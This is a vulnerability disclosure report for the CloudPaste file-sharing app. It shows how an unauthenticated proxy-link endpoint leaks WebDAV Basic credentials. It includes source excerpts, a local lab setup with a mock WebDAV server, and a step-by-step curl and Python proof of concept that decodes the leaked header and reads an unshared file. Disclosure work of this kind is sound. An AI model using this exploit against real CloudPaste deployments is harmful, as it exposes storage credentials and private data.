CloudPaste Vulnerability Report

Software: CloudPaste

Developer or vendor: ling-drag0n

Code repository: https://github.com/ling-drag0n/CloudPaste

Brief description:When an anonymous visitor requests the proxy link endpoint, it returns the username and password of the WebDAV storage configuration.
Affected versions:1.1.0 to 1.9.1
Introduced in:CloudPaste commit ef6edbaa
Preconditions:The instance has a public share link backed by WebDAV storage.

Root Cause

/api/proxy/link lets a reverse proxy obtain the upstream address, and the route has no authentication middleware:

// backend/src/routes/proxyLinkRoutes.js:88-95    commit 282ea1c7fb
proxyLinkRoutes.post("/api/proxy/link", async (c) => {
  const db = c.env.DB;
  const encryptionSecret = getEncryptionSecret(c);
  const repositoryFactory = c.get("repos");

  const { type, path, slug } = await parseLinkBody(c);

The share branch loads the share record, builds the upstream request through getShareUpstreamLink, and puts the returned headers into the response:

// backend/src/routes/proxyLinkRoutes.js:139-167    commit 282ea1c7fb
    case "share": {
      const file = await fileService.getFileBySlug(slug);
      const access = fileService.isFileAccessible(file);
      if (!access.accessible) {
        if (access.reason === "expired") {
          throw new AuthorizationError("File is expired");
        }
        throw new NotFoundError("File is not accessible");
      }

      const storageLink = await linkService.getShareUpstreamLink(
        file,
        // 分享视图只需要 user 类型与 id(目前仅用于后续扩展)
        { type: userType, id: userType === UserType.ADMIN ? userIdOrInfo : userIdOrInfo?.id ?? null },
        {
          request: c.req.raw,
        },
      );
      if (!storageLink || !storageLink.url) {
        throw new NotFoundError("Share file does not have a resolvable link");
      }

      return c.json(
        buildLinkResponse({
          url: storageLink.url,
          header: normalizeHeaders(storageLink.headers || {}),
        }),
        ApiStatus.OK,
      );
    }

When use_proxy is 0, getShareUpstreamLink calls generateUpstreamRequest on the storage driver:

// backend/src/storage/link/LinkService.js:235-250    commit 282ea1c7fb
    // 2) use_proxy = 0 且驱动具备上游 HTTP 能力时,优先交给驱动返回 {url, headers},由反代直连存储
    try {
      if (typeof driver.generateUpstreamRequest === "function") {
        const upstream = await driver.generateUpstreamRequest(file.storage_path, {
          subPath: file.storage_path,
          request,
          userType: userInfo?.type || null,
          userId: userInfo?.id || null,
        });
        if (upstream && upstream.url) {
          const headers = normalizeUpstreamHeaders(upstream.headers);
          console.log(
            `[LinkService][share][upstream-http] 文件(${file.id || slug}) 上游使用驱动 UPSTREAM_HTTP 能力: ${upstream.url}`,
          );
          return createProxyLink(upstream.url, { headers });
        }
      }

The WebDAV driver encodes the username and password from the storage configuration into a Basic authorization header and returns it in headers:

// backend/src/storage/drivers/webdav/WebDavStorageDriver.js:800-819    commit 282ea1c7fb
  async generateUpstreamRequest(path, options = {}) {
    this._ensureInitialized();

    const { subPath } = options;
    const relativePath = subPath || path;
    const davPath = this._buildDavPath(relativePath, false);
    const url = this._buildRequestUrl(davPath);

    /** @type {Record<string,string[]>} */
    const headers = {};
    const auth = this._basicAuthHeader();
    if (auth) {
      headers["Authorization"] = [auth];
    }

    return {
      url,
      headers,
    };
  }

This Basic header is the credential CloudPaste uses to access the WebDAV service. The endpoint hands it to the requester unchanged, so an anonymous visitor obtains the WebDAV account.

Reproduction Environment

The lab uses the official Docker compose deployment with the default ports. Only BACKEND_URL of the frontend service is changed to http://127.0.0.1:8787:

mkdir cloudpaste && cd cloudpaste
wget https://raw.githubusercontent.com/ling-drag0n/CloudPaste/main/docker-compose.yml
# edit docker-compose.yml and set BACKEND_URL of frontend to http://127.0.0.1:8787
docker compose -p cloudpaste-report up -d

Start a WebDAV service that requires Basic authentication. The account is davuser, the password is davpass-SECRET, private.txt contains WEBDAV-PRIVATE-DATA, and admin-notes.txt contains WEBDAV-UNSHARED-DATA:

from base64 import b64encode

from fastapi import FastAPI, HTTPException, Request, Response

USER = "davuser"
PASSWORD = "davpass-SECRET"
EXPECTED = "Basic " + b64encode(f"{USER}:{PASSWORD}".encode()).decode()

FILES = {
    "private.txt": b"WEBDAV-PRIVATE-DATA",
    "admin-notes.txt": b"WEBDAV-UNSHARED-DATA",
}

app = FastAPI()


@app.api_route("/dav/{path:path}", methods=["GET", "HEAD", "PROPFIND", "OPTIONS", "PUT"])
def dav(path: str, request: Request):
    if request.method == "OPTIONS":
        return Response(status_code=200, headers={"DAV": "1,2", "Allow": "OPTIONS,GET,HEAD,PUT,PROPFIND"})
    if request.headers.get("authorization") != EXPECTED:
        raise HTTPException(status_code=401, headers={"WWW-Authenticate": 'Basic realm="dav"'})
    if request.method == "PUT":
        return Response(status_code=201)
    body = FILES.get(path)
    if body is None:
        raise HTTPException(status_code=404)
    if request.method == "PROPFIND":
        xml = (
            '<?xml version="1.0" encoding="utf-8"?>'
            '<D:multistatus xmlns:D="DAV:"><D:response>'
            f"<D:href>/dav/{path}</D:href><D:propstat><D:prop>"
            f"<D:getcontentlength>{len(body)}</D:getcontentlength>"
            "<D:getcontenttype>text/plain</D:getcontenttype>"
            "<D:getlastmodified>Sat, 15 Nov 2026 08:00:00 GMT</D:getlastmodified>"
            "</D:prop><D:status>HTTP/1.1 200 OK</D:status></D:propstat></D:response></D:multistatus>"
        )
        return Response(xml, media_type="application/xml")
    if request.method == "HEAD":
        return Response(status_code=200, headers={"Content-Length": str(len(body)), "Content-Type": "text/plain"})
    return Response(body, media_type="text/plain")

Start the service:

uvicorn report_dav_server:app --host 0.0.0.0 --port 19098

In the commands below, 172.20.0.1 stands for the address of that host as seen from inside the CloudPaste container. It can be obtained with:

docker network inspect cloudpaste-report_cloudpaste-network \
  -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Reproduction

Log in as the administrator:

curl -s -X POST http://127.0.0.1:8787/api/admin/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin123"}'

The response is:

{"success":true,"code":"OK","message":"登录成功","data":{"username":"admin","token":"GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK","expiresAt":"2026-11-22T01:44:05.674Z"}}

Put the token from the response into the script below. The script creates the WebDAV storage configuration and mount point, then creates a share for /dav/private.txt. It requires httpx:

import httpx

BASE = "http://127.0.0.1:8787"
TOKEN = "GAyB7YVWrvJqLqTnZ6H1BpgVN44Z7nUK"

c = httpx.Client(base_url=BASE, timeout=40)
headers = {"Authorization": "Bearer " + TOKEN}

r = c.post("/api/storage", headers=headers, json={
    "name": "webdav-report",
    "storage_type": "WEBDAV",
    "is_public": 1,
    "endpoint_url": "http://172.20.0.1:19098/dav",
    "username": "davuser",
    "password": "davpass-SECRET",
})
print("POST /api/storage", r.status_code)
print(r.text)
cfg = r.json()["data"]

r = c.post("/api/mount/create", headers=headers, json={
    "name": "webdav-report",
    "storage_type": "WEBDAV",
    "storage_config_id": cfg["id"],
    "mount_path": "/dav",
    "web_proxy": 0,
    "is_active": True,
})
print("\nPOST /api/mount/create", r.status_code)
print(r.text)

r = c.post("/api/fs/create-share", headers=headers, json={"path": "/dav/private.txt"})
print("\nPOST /api/fs/create-share", r.status_code)
print(r.text)

The response that creates the storage configuration is:

{"success":true,"code":"CREATED","message":"存储配置创建成功","data":{"default_folder":"","total_storage_bytes":10737418240,"enable_disk_usage":1,"endpoint_url":"http://172.20.0.1:19098/dav","username":"davuser","tls_insecure_skip_verify":0,"id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","name":"webdav-report","storage_type":"WEBDAV","admin_id":"ecb37868-67d4-4aac-b109-2917de8c3d5b","is_public":1,"is_default":0,"remark":null,"url_proxy":null,"status":"ENABLED","created_at":"2026-11-15T01:44:05.696Z","updated_at":"2026-11-15T01:44:05.696Z","last_used":null}}

The response that creates the mount point is:

{"success":true,"code":"CREATED","message":"挂载点创建成功","data":{"id":"d7f43a06-49e0-493c-8023-51fb3aeb8f6c","name":"webdav-report","storage_type":"WEBDAV","storage_config_id":"c8e8800b-cc61-4afb-9571-1c2d13f20884","mount_path":"/dav","remark":null,"is_active":1,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","sort_order":0,"cache_ttl":300,"web_proxy":0,"webdav_policy":"302_redirect","enable_sign":0,"sign_expires":null,"enable_folder_summary_compute":0,"created_at":"2026-11-15T01:44:05.712Z","updated_at":"2026-11-15T01:44:05.712Z","last_used":null}}

The response that creates the share is:

{"success":true,"code":"OK","message":"分享创建成功","data":{"id":"2ce05f30-9f3e-4ee1-996d-a889b23e75ad","slug":"mWFWZp","filename":"private.txt","mimetype":"text/plain","size":19,"remark":"来自文件系统: /dav/private.txt","created_at":"2026-11-15T01:44:05.789Z","requires_password":false,"views":0,"max_views":null,"expires_at":null,"url":"/file/mWFWZp","use_proxy":0,"created_by":"ecb37868-67d4-4aac-b109-2917de8c3d5b","used_original_filename":true,"storage_path":"private.txt","storage_type":"WEBDAV"}}

Request the proxy link endpoint anonymously:

curl -s -X POST http://127.0.0.1:8787/api/proxy/link \
  -H 'Content-Type: application/json' \
  -d '{"type":"share","slug":"mWFWZp"}'

The response is:

{"code":200,"data":{"url":"http://172.20.0.1:19098/dav/private.txt","header":{"Authorization":["Basic ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA=="]}}}

Decode the Authorization value:

echo 'ZGF2dXNlcjpkYXZwYXNzLVNFQ1JFVA==' | base64 -d
davuser:davpass-SECRET

Read admin-notes.txt, which is not shared, with that account:

curl -s -u davuser:davpass-SECRET http://172.20.0.1:19098/dav/admin-notes.txt
WEBDAV-UNSHARED-DATA